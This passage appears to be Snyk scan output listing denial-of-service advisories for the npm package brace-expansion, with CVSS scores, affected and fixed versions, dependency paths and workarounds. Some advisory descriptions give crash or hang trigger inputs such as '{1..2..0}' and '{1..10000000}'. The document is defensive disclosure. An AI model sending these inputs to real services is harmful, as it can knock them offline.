"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## 